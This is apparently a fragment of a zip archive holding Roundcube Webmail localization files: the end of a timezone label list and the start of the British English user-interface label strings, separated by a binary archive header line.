$labels['tz:europe:astrakhan'] = 'Astrakhan';
$labels['tz:europe:athens'] = 'Athens';
$labels['tz:europe:belgrade'] = 'Belgrade';
$labels['tz:europe:berlin'] = 'Berlin';
$labels['tz:europe:bratislava'] = 'Bratislava';
$labels['tz:europe:brussels'] = 'Brussels';
$labels['tz:europe:bucharest'] = 'Bucharest';
$labels['tz:europe:budapest'] = 'Budapest';
$labels['tz:europe:busingen'] = 'Busingen';
$labels['tz:europe:chisinau'] = 'Chisinau';
$labels['tz:europe:copenhagen'] = 'Copenhagen';
$labels['tz:europe:dublin'] = 'Dublin';
$labels['tz:europe:gibraltar'] = 'Gibraltar';
$labels['tz:europe:guernsey'] = 'Guernsey';
$labels['tz:europe:helsinki'] = 'Helsinki';
$labels['tz:europe:isle_of_man'] = 'Isle of Man';
$labels['tz:europe:istanbul'] = 'Istanbul';
$labels['tz:europe:jersey'] = 'Jersey';
$labels['tz:europe:kaliningrad'] = 'Kaliningrad';
$labels['tz:europe:kiev'] = 'Kiev';
$labels['tz:europe:kirov'] = 'Kirov';
$labels['tz:europe:lisbon'] = 'Lisbon';
$labels['tz:europe:ljubljana'] = 'Ljubljana';
$labels['tz:europe:london'] = 'London';
$labels['tz:europe:luxembourg'] = 'Luxembourg';
$labels['tz:europe:madrid'] = 'Madrid';
$labels['tz:europe:malta'] = 'Malta';
$labels['tz:europe:mariehamn'] = 'Mariehamn';
$labels['tz:europe:minsk'] = 'Minsk';
$labels['tz:europe:monaco'] = 'Monaco';
$labels['tz:europe:moscow'] = 'Moscow';
$labels['tz:europe:oslo'] = 'Oslo';
$labels['tz:europe:paris'] = 'Paris';
$labels['tz:europe:podgorica'] = 'Podgorica';
$labels['tz:europe:prague'] = 'Prague';
$labels['tz:europe:riga'] = 'Riga';
$labels['tz:europe:rome'] = 'Rome';
$labels['tz:europe:samara'] = 'Samara';
$labels['tz:europe:san_marino'] = 'San Marino';
$labels['tz:europe:sarajevo'] = 'Sarajevo';
$labels['tz:europe:saratov'] = 'Saratov';
$labels['tz:europe:simferopol'] = 'Simferopol';
$labels['tz:europe:skopje'] = 'Skopje';
$labels['tz:europe:sofia'] = 'Sofia';
$labels['tz:europe:stockholm'] = 'Stockholm';
$labels['tz:europe:tallinn'] = 'Tallinn';
$labels['tz:europe:tirane'] = 'Tirane';
$labels['tz:europe:ulyanovsk'] = 'Ulyanovsk';
$labels['tz:europe:uzhgorod'] = 'Uzhgorod';
$labels['tz:europe:vaduz'] = 'Vaduz';
$labels['tz:europe:vatican'] = 'Vatican';
$labels['tz:europe:vienna'] = 'Vienna';
$labels['tz:europe:vilnius'] = 'Vilnius';
$labels['tz:europe:volgograd'] = 'Volgograd';
$labels['tz:europe:warsaw'] = 'Warsaw';
$labels['tz:europe:zagreb'] = 'Zagreb';
$labels['tz:europe:zaporozhye'] = 'Zaporozhye';
$labels['tz:europe:zurich'] = 'Zurich';
$labels['tz:indian'] = 'Indian';
$labels['tz:indian:antananarivo'] = 'Antananarivo';
$labels['tz:indian:chagos'] = 'Chagos';
$labels['tz:indian:christmas'] = 'Christmas';
$labels['tz:indian:cocos'] = 'Cocos';
$labels['tz:indian:comoro'] = 'Comoro';
$labels['tz:indian:kerguelen'] = 'Kerguelen';
$labels['tz:indian:mahe'] = 'Mahe';
$labels['tz:indian:maldives'] = 'Maldives';
$labels['tz:indian:mauritius'] = 'Mauritius';
$labels['tz:indian:mayotte'] = 'Mayotte';
$labels['tz:indian:reunion'] = 'Reunion';
$labels['tz:pacific'] = 'Pacific';
$labels['tz:pacific:apia'] = 'Apia';
$labels['tz:pacific:auckland'] = 'Auckland';
$labels['tz:pacific:bougainville'] = 'Bougainville';
$labels['tz:pacific:chatham'] = 'Chatham';
$labels['tz:pacific:chuuk'] = 'Chuuk';
$labels['tz:pacific:easter'] = 'Easter';
$labels['tz:pacific:efate'] = 'Efate';
$labels['tz:pacific:enderbury'] = 'Enderbury';
$labels['tz:pacific:fakaofo'] = 'Fakaofo';
$labels['tz:pacific:fiji'] = 'Fiji';
$labels['tz:pacific:funafuti'] = 'Funafuti';
$labels['tz:pacific:galapagos'] = 'Galapagos';
$labels['tz:pacific:gambier'] = 'Gambier';
$labels['tz:pacific:guadalcanal'] = 'Guadalcanal';
$labels['tz:pacific:guam'] = 'Guam';
$labels['tz:pacific:honolulu'] = 'Honolulu';
$labels['tz:pacific:johnston'] = 'Johnston';
$labels['tz:pacific:kiritimati'] = 'Kiritimati';
$labels['tz:pacific:kosrae'] = 'Kosrae';
$labels['tz:pacific:kwajalein'] = 'Kwajalein';
$labels['tz:pacific:majuro'] = 'Majuro';
$labels['tz:pacific:marquesas'] = 'Marquesas';
$labels['tz:pacific:midway'] = 'Midway';
$labels['tz:pacific:nauru'] = 'Nauru';
$labels['tz:pacific:niue'] = 'Niue';
$labels['tz:pacific:norfolk'] = 'Norfolk';
$labels['tz:pacific:noumea'] = 'Noumea';
$labels['tz:pacific:pago_pago'] = 'Pago Pago';
$labels['tz:pacific:palau'] = 'Palau';
$labels['tz:pacific:pitcairn'] = 'Pitcairn';
$labels['tz:pacific:pohnpei'] = 'Pohnpei';
$labels['tz:pacific:port_moresby'] = 'Port Moresby';
$labels['tz:pacific:rarotonga'] = 'Rarotonga';
$labels['tz:pacific:saipan'] = 'Saipan';
$labels['tz:pacific:tahiti'] = 'Tahiti';
$labels['tz:pacific:tarawa'] = 'Tarawa';
$labels['tz:pacific:tongatapu'] = 'Tongatapu';
$labels['tz:pacific:wake'] = 'Wake';
$labels['tz:pacific:wallis'] = 'Wallis';
PK
h�\���pf}f}%program/localization/en_GB/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Welcome to $product';
$labels['username'] = 'Username';
$labels['password'] = 'Password';
$labels['server'] = 'Server';
$labels['login'] = 'Login';
$labels['oauthlogin'] = 'Login with $provider';
$labels['menu'] = 'Menu';
$labels['logout'] = 'Logout';
$labels['mail'] = 'Mail';
$labels['settings'] = 'Settings';
$labels['addressbook'] = 'Address Book';
$labels['darkmode'] = 'Dark mode';
$labels['lightmode'] = 'Light mode';
$labels['inbox'] = 'Inbox';
$labels['drafts'] = 'Drafts';
$labels['sent'] = 'Sent';
$labels['trash'] = 'Deleted Items';
$labels['junk'] = 'Spam';
$labels['show_real_foldernames'] = 'Show real names for special folders';
$labels['subject'] = 'Subject';
$labels['from'] = 'From';
$labels['sender'] = 'Sender';
$labels['to'] = 'To';
$labels['cc'] = 'Copy';
$labels['bcc'] = 'Bcc';
$labels['replyto'] = 'Reply-To';
$labels['followupto'] = 'Followup-To';
$labels['date'] = 'Date';
$labels['size'] = 'Size';
$labels['priority'] = 'Priority';
$labels['organization'] = 'Company';
$labels['readstatus'] = 'Read status';
$labels['listoptions'] = 'List options...';
$labels['listoptionstitle'] = 'List options';
$labels['mailboxlist'] = 'Folders';
$labels['messagesfromto'] = 'Messages $from to $to of $count';
$labels['threadsfromto'] = 'Threads $from to $to of $count';
$labels['messagenrof'] = 'Message $nr of $count';
$labels['fromtoshort'] = '$from – $to of $count';
$labels['copy'] = 'Copy';
$labels['move'] = 'Move';
$labels['moveto'] = 'Move to...';
$labels['copyto'] = 'Copy to...';
$labels['download'] = 'Download';
$labels['open'] = 'Open';
$labels['showattachment'] = 'Show';
$labels['showanyway'] = 'Show it anyway';
$labels['filename'] = 'File name';
$labels['filesize'] = 'File size';
$labels['addtoaddressbook'] = 'Add to address book';
$labels['sun'] = 'Sun';
$labels['mon'] = 'Mon';
$labels['tue'] = 'Tue';
$labels['wed'] = 'Wed';
$labels['thu'] = 'Thu';
$labels['fri'] = 'Fri';
$labels['sat'] = 'Sat';
$labels['sunday'] = 'Sunday';
$labels['monday'] = 'Monday';
$labels['tuesday'] = 'Tuesday';
$labels['wednesday'] = 'Wednesday';
$labels['thursday'] = 'Thursday';
$labels['friday'] = 'Friday';
$labels['saturday'] = 'Saturday';
$labels['jan'] = 'Jan';
$labels['feb'] = 'Feb';
$labels['mar'] = 'Mar';
$labels['apr'] = 'Apr';
$labels['may'] = 'May';
$labels['jun'] = 'Jun';
$labels['jul'] = 'Jul';
$labels['aug'] = 'Aug';
$labels['sep'] = 'Sep';
$labels['oct'] = 'Oct';
$labels['nov'] = 'Nov';
$labels['dec'] = 'Dec';
$labels['longjan'] = 'January';
$labels['longfeb'] = 'February';
$labels['longmar'] = 'March';
$labels['longapr'] = 'April';
$labels['longmay'] = 'May';
$labels['longjun'] = 'June';
$labels['longjul'] = 'July';
$labels['longaug'] = 'August';
$labels['longsep'] = 'September';
$labels['longoct'] = 'October';
$labels['longnov'] = 'November';
$labels['longdec'] = 'December';
$labels['today'] = 'Today';
$labels['refresh'] = 'Refresh';
$labels['checkmail'] = 'Check for new messages';
$labels['compose'] = 'Compose';
$labels['writenewmessage'] = 'Create a new message';
$labels['reply'] = 'Reply';
$labels['replytomessage'] = 'Reply to sender';
$labels['replytoallmessage'] = 'Reply to list or to sender and all recipients';
$labels['replyall'] = 'Reply all';
$labels['replylist'] = 'Reply list';
$labels['forward'] = 'Forward';
$labels['forwardinline'] = 'Forward inline';
$labels['forwardattachment'] = 'Forward as attachment';
$labels['forwardmessage'] = 'Forward the message';
$labels['bouncemsg'] = 'Resend (bounce)';
$labels['bounce'] = 'Resend';
$labels['deletemessage'] = 'Delete message';
$labels['movemessagetotrash'] = 'Move message to "Deleted Items"';
$labels['printmessage'] = 'Print this message';
$labels['previousmessage'] = 'Show the previous message';
$labels['firstmessage'] = 'Show the first message';
$labels['nextmessage'] = 'Show the next message';
$labels['lastmessage'] = 'Show the last message';
$labels['backtolist'] = 'Back to message list';
$labels['viewsource'] = 'Show source';
$labels['mark'] = 'Mark';
$labels['markmessages'] = 'Mark messages';
$labels['markread'] = 'As read';
$labels['markunread'] = 'As unread';
$labels['markflagged'] = 'As flagged';
$labels['markunflagged'] = 'As unflagged';
$labels['markundeleted'] = 'As not deleted';
$labels['moreactions'] = 'More actions...';
$labels['markallread'] = 'Mark all as read';
$labels['folders-cur'] = 'Selected folder only';
$labels['folders-sub'] = 'Selected folder and its subfolders';
$labels['folders-all'] = 'All folders';
$labels['more'] = 'More';
$labels['back'] = 'Back';
$labels['options'] = 'Options';
$labels['composeoptions'] = 'Compose options';
$labels['optionsandattachments'] = 'Options and attachments';
$labels['actions'] = 'Actions';
$labels['first'] = 'First';
$labels['last'] = 'Last';
$labels['previous'] = 'Previous';
$labels['next'] = 'Next';
$labels['select'] = 'Select';
$labels['selection'] = 'Selection';
$labels['all'] = 'All';
$labels['none'] = 'None';
$labels['currpage'] = 'Current page';
$labels['isread'] = 'Read';
$labels['unread'] = 'Unread';
$labels['flagged'] = 'Flagged';
$labels['unflagged'] = 'Not Flagged';
$labels['unanswered'] = 'Unanswered';
$labels['withattachment'] = 'With attachment';
$labels['deleted'] = 'Deleted';
$labels['undeleted'] = 'Not deleted';
$labels['replied'] = 'Replied';
$labels['forwarded'] = 'Forwarded';
$labels['invert'] = 'Invert';
$labels['filter'] = 'Filter';
$labels['list'] = 'List';
$labels['threads'] = 'Threads';
$labels['expand-all'] = 'Expand All';
$labels['expand-unread'] = 'Expand Unread';
$labels['collapse-all'] = 'Collapse All';
$labels['threaded'] = 'Threaded';
$labels['showunread'] = 'Show unread messages';
$labels['autoexpand_threads'] = 'Expand message threads';
$labels['do_expand'] = 'all threads';
$labels['expand_only_unread'] = 'only with unread messages';
$labels['fromto'] = 'From/To';
$labels['flag'] = 'Flag';
$labels['attachment'] = 'Attachment';
$labels['nonesort'] = 'None';
$labels['sentdate'] = 'Sent date';
$labels['arrival'] = 'Arrival date';
$labels['asc'] = 'ascending';
$labels['desc'] = 'descending';
$labels['listcolumns'] = 'List columns';
$labels['listsorting'] = 'Sorting column';
$labels['listorder'] = 'Sorting order';
$labels['listmode'] = 'List view mode';
$labels['lmode'] = 'List mode';
$labels['layout'] = 'Layout';
$labels['layoutwidescreen'] = 'Widescreen';
$labels['layoutdesktop'] = 'Desktop';
$labels['layoutlist'] = 'List';
$labels['layoutwidescreendesc'] = 'Widescreen (3-column view)';
$labels['layoutdesktopdesc'] = 'Desktop (wide list and mail preview below)';
$labels['layoutlistdesc'] = 'List (no mail preview)';
$labels['folderactions'] = 'Folder actions...';
$labels['compact'] = 'Compact';
$labels['empty'] = 'Empty';
$labels['importmessages'] = 'Import messages';
$labels['mailimportdesc'] = 'You can upload mail using files in <a href="https://en.wikipedia.org/wiki/Email#Message_format">MIME</a> or <a href="https://en.wikipedia.org/wiki/Mbox">Mbox</a> format.';
$labels['mailimportzip'] = 'Multiple files can be compressed into zip archives.';
$labels['quota'] = 'Disk usage';
$labels['unknown'] = 'unknown';
$labels['unlimited'] = 'unlimited';
$labels['quotatype'] = 'Quota type';
$labels['quotatotal'] = 'Limit';
$labels['quotaused'] = 'Used';
$labels['quotastorage'] = 'Disk space';
$labels['quotamessage'] = 'Messages count';
$labels['shortheaderdate'] = 'On $date';
$labels['shortheaderto'] = 'To $to on $date';
$labels['shortheaderfrom'] = 'From $from on $date';
$labels['quicksearch'] = 'Quick search';
$labels['searchplaceholder'] = 'Search...';
$labels['resetsearch'] = 'Reset search';
$labels['searchmod'] = 'Search modifiers';
$labels['msgtext'] = 'Entire message';
$labels['body'] = 'Body';
$labels['type'] = 'Type';
$labels['namex'] = 'Name';
$labels['searchscope'] = 'Scope';
$labels['currentfolder'] = 'Current folder';
$labels['subfolders'] = 'This and subfolders';
$labels['allfolders'] = 'All folders';
$labels['searchinterval-1W'] = 'older than a week';
$labels['searchinterval-1M'] = 'older than a month';
$labels['searchinterval-1Y'] = 'older than a year';
$labels['searchinterval1W'] = 'younger than a week';
$labels['searchinterval1M'] = 'younger than a month';
$labels['searchinterval1Y'] = 'younger than a year';
$labels['openinextwin'] = 'Open in new window';
$labels['emlsave'] = 'Download (.eml)';
$labels['changeformattext'] = 'Display in plain text format';
$labels['changeformathtml'] = 'Display in HTML format';
$labels['editasnew'] = 'Edit as new';
$labels['send'] = 'Send';
$labels['sendmessage'] = 'Send now';
$labels['savemessage'] = 'Save this draft';
$labels['addattachment'] = 'Attach a file';
$labels['charset'] = 'Charset';
$labels['editortype'] = 'Editor type';
$labels['returnreceipt'] = 'Return receipt';
$labels['dsn'] = 'Delivery status notification';
$labels['keepformatting'] = 'Keep formatting';
$labels['mailreplyintro'] = 'On $date, $sender wrote:';
$labels['originalmessage'] = 'Original Message';
$labels['selectimage'] = 'Select image';
$labels['addimage'] = 'Add image';
$labels['selectmedia'] = 'Select movie';
$labels['addmedia'] = 'Add movie';
$labels['encrypt'] = 'Encrypt';
$labels['encryptmessage'] = 'Encrypt message';
$labels['encryptmessagemailvelope'] = 'Encrypt message with Mailvelope';
$labels['importpubkeys'] = 'Import public keys';
$labels['encryptedsendialog'] = 'Sending encrypted message';
$labels['encryptandsign'] = 'Encrypt and sign';
$labels['keyid'] = 'Key ID';
$labels['keylength'] = 'Bits';
$labels['keyexpired'] = 'Expired';
$labels['keyrevoked'] = 'Revoked';
$labels['bccinstead'] = 'Use Bcc';
$labels['addheader'] = 'Add recipient (header)';
$labels['insert'] = 'Insert';
$labels['insertcontact'] = 'Insert contact(s)';
$labels['recipient'] = 'Recipient';
$labels['recipientedit'] = 'Recipient edit';
$labels['editidents'] = 'Edit identities';
$labels['spellcheck'] = 'Spell';
$labels['checkspelling'] = 'Check spelling';
$labels['resumeediting'] = 'Resume editing';
$labels['revertto'] = 'Revert to';
$labels['restore'] = 'Restore';
$labels['restoremessage'] = 'Restore message?';
$labels['ignore'] = 'Ignore';
$labels['responses'] = 'Responses';
$labels['insertresponse'] = 'Insert a response';
$labels['manageresponses'] = 'Manage responses';
$labels['newresponse'] = 'Create new response';
$labels['addresponse'] = 'Add response';
$labels['editresponse'] = 'Edit response';
$labels['editresponses'] = 'Edit responses';
$labels['responsename'] = 'Name';
$labels['responsetext'] = 'Response Text';
$labels['attach'] = 'Attach';
$labels['attachments'] = 'Attachments';
$labels['upload'] = 'Upload';
$labels['uploadprogress'] = '$percent ($current of $total)';
$labels['close'] = 'Close';
$labels['messageoptions'] = 'Message options...';
$labels['togglecomposeoptions'] = 'Toggle composition options';
$labels['attachmentrename'] = 'Rename attachment';
$labels['low'] = 'Low';
$labels['lowest'] = 'Lowest';
$labels['normal'] = 'Normal';
$labels['high'] = 'High';
$labels['highest'] = 'Highest';
$labels['nosubject'] = '(no subject)';
$labels['showimages'] = 'Display images';
$labels['allow'] = 'Allow';
$labels['alwaysshow'] = 'Always show images from $sender';
$labels['alwaysallow'] = 'Always allow from $sender';
$labels['isdraft'] = 'This is a draft message.';
$labels['andnmore'] = '$nr more...';
$labels['details'] = 'Details';
$labels['summary'] = 'Summary';
$labels['headers'] = 'Headers';
$labels['allheaders'] = 'All headers...';
$labels['togglemoreheaders'] = 'Show more message headers';
$labels['togglefullheaders'] = 'Toggle raw message headers';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Plain text';
$labels['savesentmessagein'] = 'Save sent message in';
$labels['dontsave'] = 'don\'t save';
$labels['maxuploadsize'] = 'Maximum allowed file size is $size';
$labels['addcc'] = 'Add Cc';
$labels['addbcc'] = 'Add Bcc';
$labels['addreplyto'] = 'Add Reply-To';
$labels['addfollowupto'] = 'Add Followup-To';
$labels['sendreceipt'] = 'Send read receipt?';
$labels['mdnrequest'] = 'The sender of this message has asked to be notified when you read this message. Do you wish to notify the sender?';
$labels['receiptread'] = 'Return Receipt (read)';
$labels['yourmessage'] = 'This is a Return Receipt for your message';
$labels['receiptnote'] = 'Note: This receipt only acknowledges that the message was displayed on the recipient\'s computer. There is no guarantee that the recipient has read or understood the message contents.';
$labels['sendalwaysto'] = 'Always send to $email';
$labels['zoomin'] = 'Zoom In';
$labels['zoomout'] = 'Zoom Out';
$labels['rotate'] = 'Rotate';
$labels['increaseimage'] = 'Increase image size';
$labels['decreaseimage'] = 'Decrease image size';
$labels['rotateimage'] = 'Rotate image';
$labels['showtools'] = 'Show image tools';
$labels['hidetools'] = 'Hide image tools';
$labels['name'] = 'Display Name';
$labels['firstname'] = 'First Name';
$labels['surname'] = 'Last Name';
$labels['middlename'] = 'Middle Name';
$labels['nameprefix'] = 'Title';
$labels['namesuffix'] = 'Suffix';
$labels['nickname'] = 'Nickname';
$labels['jobtitle'] = 'Job Title';
$labels['department'] = 'Department';
$labels['gender'] = 'Gender';
$labels['maidenname'] = 'Maiden Name';
$labels['email'] = 'Email';
$labels['phone'] = 'Phone';
$labels['address'] = 'Address';
$labels['street'] = 'Street';
$labels['locality'] = 'City';
$labels['zipcode'] = 'Post Code';
$labels['region'] = 'State/Province';
$labels['country'] = 'Country';
$labels['birthday'] = 'Birthday';
$labels['anniversary'] = 'Anniversary';
$labels['website'] = 'Website';
$labels['instantmessenger'] = 'IM';
$labels['notes'] = 'Notes';
$labels['male'] = 'male';
$labels['female'] = 'female';
$labels['manager'] = 'Manager';
$labels['assistant'] = 'Assistant';
$labels['spouse'] = 'Spouse';
$labels['allfields'] = 'All fields';
$labels['search'] = 'Search';
$labels['searchresult'] = 'Search result';
$labels['advsearch'] = 'Advanced Search';
$labels['advanced'] = 'Advanced';
$labels['other'] = 'Other';
$labels['printcontact'] = 'Print contact';
$labels['qrcode'] = 'QR Code';
$labels['typehome'] = 'Home';
$labels['typework'] = 'Work';
$labels['typeother'] = 'Other';
$labels['typemobile'] = 'Mobile';
$labels['typemain'] = 'Main';
$labels['typehomefax'] = 'Home Fax';
$labels['typeworkfax'] = 'Work Fax';
$labels['typecar'] = 'Car';
$labels['typepager'] = 'Pager';
$labels['typevideo'] = 'Video';
$labels['typeassistant'] = 'Assistant';
$labels['typehomepage'] = 'Home Page';
$labels['typeblog'] = 'Blog';
$labels['typeprofile'] = 'Profile';
$labels['addfield'] = 'Add field...';
$labels['addcontact'] = 'Add contact';
$labels['editcontact'] = 'Edit contact';
$labels['contacts'] = 'Contacts';
$labels['contactproperties'] = 'Contact properties';
$labels['contactnameandorg'] = 'Name and Company';
$labels['personalinfo'] = 'Personal information';
$labels['personal'] = 'Personal';
$labels['contactphoto'] = 'Contact photo';
$labels['edit'] = 'Edit';
$labels['cancel'] = 'Cancel';
$labels['save'] = 'Save';
$labels['delete'] = 'Delete';
$labels['discard'] = 'Discard';
$labels['continue'] = 'Continue';
$labels['ok'] = 'OK';
$labels['rename'] = 'Rename';
$labels['addphoto'] = 'Add';
$labels['replacephoto'] = 'Replace';
$labels['uploadphoto'] = 'Upload photo';
$labels['choosefile'] = 'Select file...';
$labels['choosefiles'] = 'Select files...';
$labels['browse'] = 'Browse';
$labels['newcontact'] = 'Create new contact';
$labels['deletecontact'] = 'Delete selected contacts';
$labels['composeto'] = 'Compose mail to';
$labels['contactsfromto'] = 'Contacts $from to $to of $count';
$labels['print'] = 'Print';
$labels['export'] = 'Export';
$labels['exportall'] = 'Export all';
$labels['exportsel'] = 'Export selected';
$labels['exportvcards'] = 'Export contacts in vCard format';
$labels['newgroup'] = 'Create new group';
$labels['addgroup'] = 'Add group';
$labels['grouprename'] = 'Rename group';
$labels['groupdelete'] = 'Delete group';
$labels['groupassign'] = 'Assign to group...';
$labels['groupremove'] = 'Remove from group';
$labels['groupremoveselected'] = 'Remove selected contacts from group';
$labels['uponelevel'] = 'Up one level';
$labels['previouspage'] = 'Show previous set';
$labels['firstpage'] = 'Show first set';
$labels['nextpage'] = 'Show next set';
$labels['lastpage'] = 'Show last set';
$labels['group'] = 'Group';
$labels['groups'] = 'Groups';
$labels['listgroup'] = 'List group members';
$labels['personaladrbook'] = 'Personal Addresses';
$labels['searchsave'] = 'Save search';
$labels['searchdelete'] = 'Delete search';
$labels['import'] = 'Import';
$labels['importcontacts'] = 'Import contacts';
$labels['importfromfile'] = 'Import from file';
$labels['importtarget'] = 'Add contacts to';
$labels['importreplace'] = 'Replace the entire address book';
$labels['importgroups'] = 'Import group assignments';
$labels['importgroupsall'] = 'All (create groups if necessary)';
$labels['importgroupsexisting'] = 'Only for existing groups';
$labels['importdesc'] = 'You can upload contacts from an existing address book.<br/>We currently support importing addresses from the <a href="https://en.wikipedia.org/wiki/VCard">vCard</a> or CSV (comma-separated) data format.';
$labels['importmapdesc'] = 'Confirm the field mapping information below is correct before proceeding with CSV (comma-separated) data import.';
$labels['fieldnotmapped'] = 'Field not mapped (do not import)';
$labels['skipheader'] = 'Do not import first line (headers)';
$labels['done'] = 'Done';
$labels['settingsfor'] = 'Settings for';
$labels['about'] = 'About';
$labels['preferences'] = 'Preferences';
$labels['userpreferences'] = 'User preferences';
$labels['editpreferences'] = 'Edit user preferences';
$labels['identities'] = 'Identities';
$labels['manageidentities'] = 'Manage identities';
$labels['newidentity'] = 'Create new identity';
$labels['addidentity'] = 'Add identity';
$labels['editidentity'] = 'Edit identity';
$labels['identityencryption'] = 'Encryption';
$labels['preferhtml'] = 'Display HTML';
$labels['defaultcharset'] = 'Default Character Set';
$labels['htmlmessage'] = 'HTML Message';
$labels['messagepart'] = 'Part';
$labels['digitalsig'] = 'Digital Signature';
$labels['dateformat'] = 'Date format';
$labels['timeformat'] = 'Time format';
$labels['prettydate'] = 'Pretty dates';
$labels['setdefault'] = 'Set default';
$labels['autodetect'] = 'Auto';
$labels['language'] = 'Language';
$labels['timezone'] = 'Time zone';
$labels['pagesize'] = 'Rows per page';
$labels['signature'] = 'Signature';
$labels['dstactive'] = 'Summer time';
$labels['showinextwin'] = 'Open message in a new window';
$labels['composeextwin'] = 'Compose message in a new window';
$labels['htmleditor'] = 'Compose HTML messages';
$labels['htmlonreply'] = 'on reply to HTML message only';
$labels['htmlonreplyandforward'] = 'on forward or reply to HTML message';
$labels['htmlsignature'] = 'HTML signature';
$labels['showemail'] = 'Show email address with display name';
$labels['previewpane'] = 'Show preview pane';
$labels['skin'] = 'Interface skin';
$labels['logoutclear'] = 'Clear "Deleted Items" on logout';
$labels['logoutcompact'] = 'Compact Inbox on logout';
$labels['uisettings'] = 'User Interface';
$labels['serversettings'] = 'Server Settings';
$labels['mailboxview'] = 'Mailbox View';
$labels['mdnrequests'] = 'On request for return receipt';
$labels['askuser'] = 'ask each time';
$labels['autosend'] = 'send automatically';
$labels['autosendknown'] = 'send receipt to my contacts, otherwise ask';
$labels['autosendknownignore'] = 'send receipt to my contacts, otherwise ignore';
$labels['autosendtrusted'] = 'send receipt to trusted senders, otherwise ask me';
$labels['autosendtrustedignore'] = 'send receipt to trusted senders, otherwise ignore';
$labels['ignorerequest'] = 'ignore request';
$labels['readwhendeleted'] = 'Mark the message as read on delete';
$labels['flagfordeletion'] = 'Flag the message for deletion instead of delete';
$labels['skipdeleted'] = 'Do not show deleted messages';
$labels['deletealways'] = 'If moving messages to "Deleted Items" fails, permanently delete them';
$labels['deletejunk'] = 'Permanently delete messages in the spam folder';
$labels['showremoteimages'] = 'Display remote inline images';
$labels['allowremoteresources'] = 'Allow remote resources (images, styles)';
$labels['fromknownsenders'] = 'from known senders';
$labels['fromtrustedsenders'] = 'from trusted senders';
$labels['frommycontacts'] = 'from my contacts';
$labels['always'] = 'always';
$labels['alwaysbutplain'] = 'always, except when replying to plain text';
$labels['showinlineimages'] = 'Display attached images below the message';
$labels['autosavedraft'] = 'Automatically save draft';
$labels['everynminutes'] = 'every $n minute(s)';
$labels['refreshinterval'] = 'Update (check for new messages, etc.)';
$labels['never'] = 'never';
$labels['immediately'] = 'immediately';
$labels['messagesdisplaying'] = 'Displaying Messages';
$labels['messagescomposition'] = 'Composing Messages';
$labels['mimeparamfolding'] = 'Attachment names';
$labels['2231folding'] = 'Full RFC 2231 (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'Full RFC 2047 (other)';
$labels['force7bit'] = 'Use MIME encoding for 8-bit characters';
$labels['savelocalstorage'] = "Save in the browser's local storage (temporarily)";
$labels['advancedoptions'] = 'Advanced options';
$labels['toggleadvancedoptions'] = 'Toggle advanced options';
$labels['focusonnewmessage'] = 'Focus browser window on new message';
$labels['checkallfolders'] = 'Check all folders for new messages';
$labels['displaynext'] = 'Display next list entry after delete/move';
$labels['defaultfont'] = 'Default font for HTML message';
$labels['mainoptions'] = 'Main Options';
$labels['browseroptions'] = 'Browser Options';
$labels['section'] = 'Section';
$labels['maintenance'] = 'Maintenance';
$labels['newmessage'] = 'New Message';
$labels['signatureoptions'] = 'Signature Options';
$labels['whenreplying'] = 'When replying';
$labels['replyempty'] = 'do not quote the original message';
$labels['replytopposting'] = 'start new message above original';
$labels['replytoppostingnoindent'] = 'start new message above the quote (no indentation)';
$labels['replybottomposting'] = 'start new message below original';
$labels['replyremovesignature'] = 'When replying remove original signature from message';
$labels['autoaddsignature'] = 'Automatically add signature';
$labels['newmessageonly'] = 'new message only';
$labels['replyandforwardonly'] = 'replies and forwards only';
$labels['insertsignature'] = 'Insert signature';
$labels['sigbelow'] = 'Place signature below the quoted message';
$labels['sigseparator'] = 'Force standard separator in signatures';
$labels['automarkread'] = 'Mark messages as read';
$labels['afternseconds'] = 'after $n seconds';
$labels['reqmdn'] = 'Always request a return receipt';
$labels['reqdsn'] = 'Always request a delivery status notification';
$labels['replysamefolder'] = 'Place replies in the folder of the message being replied to';
$labels['defaultabook'] = 'Default address book';
$labels['autocompletesingle'] = 'Skip alternative email addresses in autocompletion';
$labels['listnamedisplay'] = 'List contacts as';
$labels['contactformmode'] = 'Contact form mode';
$labels['privatemode'] = 'Private (Home)';
$labels['businessmode'] = 'Business (Work)';
$labels['collectedaddresses'] = 'Collected addresses';
$labels['collectedrecipients'] = 'Collected Recipients';
$labels['collectedrecipientsopt'] = 'Store outgoing email recipients in';
$labels['collectedsendersopt'] = 'Store trusted senders in';
$labels['trustedsenders'] = 'Trusted Senders';
$labels['spellcheckbeforesend'] = 'Check spelling before sending a message';
$labels['spellcheckoptions'] = 'Spellcheck Options';
$labels['spellcheckignoresyms'] = 'Ignore words with symbols';
$labels['spellcheckignorenums'] = 'Ignore words with numbers';
$labels['spellcheckignorecaps'] = 'Ignore words with all letters capitalised';
$labels['addtodict'] = 'Add to dictionary';
$labels['mailtoprotohandler'] = 'Register protocol handler for mailto: links';
$labels['standardwindows'] = 'Handle popups as standard windows';
$labels['forwardmode'] = 'Forward messages';
$labels['inline'] = 'inline';
$labels['asattachment'] = 'as attachment';
$labels['replyallmode'] = 'Default action of "Reply all" button';
$labels['replyalldefault'] = 'reply to all';
$labels['replyalllist'] = 'reply to mailing list only (if found)';
$labels['allmessages'] = 'all messages';
$labels['olderxdays'] = 'older than $x days';
$labels['folder'] = 'Folder';
$labels['folders'] = 'Folders';
$labels['foldername'] = 'Folder name';
$labels['subscribed'] = 'Subscribed';
$labels['messagecount'] = 'Messages';
$labels['create'] = 'Create';
$labels['createfolder'] = 'Create new folder';
$labels['managefolders'] = 'Manage folders';
$labels['specialfolders'] = 'Special Folders';
$labels['properties'] = 'Properties';
$labels['folderproperties'] = 'Folder properties';
$labels['parentfolder'] = 'Parent folder';
$labels['location'] = 'Location';
$labels['info'] = 'Information';
$labels['getfoldersize'] = 'Click to get folder size';
$labels['changesubscription'] = 'Click to change subscription';
$labels['foldertype'] = 'Folder Type';
$labels['personalfolder'] = 'Private Folder';
$labels['otherfolder'] = 'Other User\'s Folder';
$labels['sharedfolder'] = 'Public Folder';
$labels['findfolders'] = 'Find folders';
$labels['findcontacts'] = 'Find contacts';
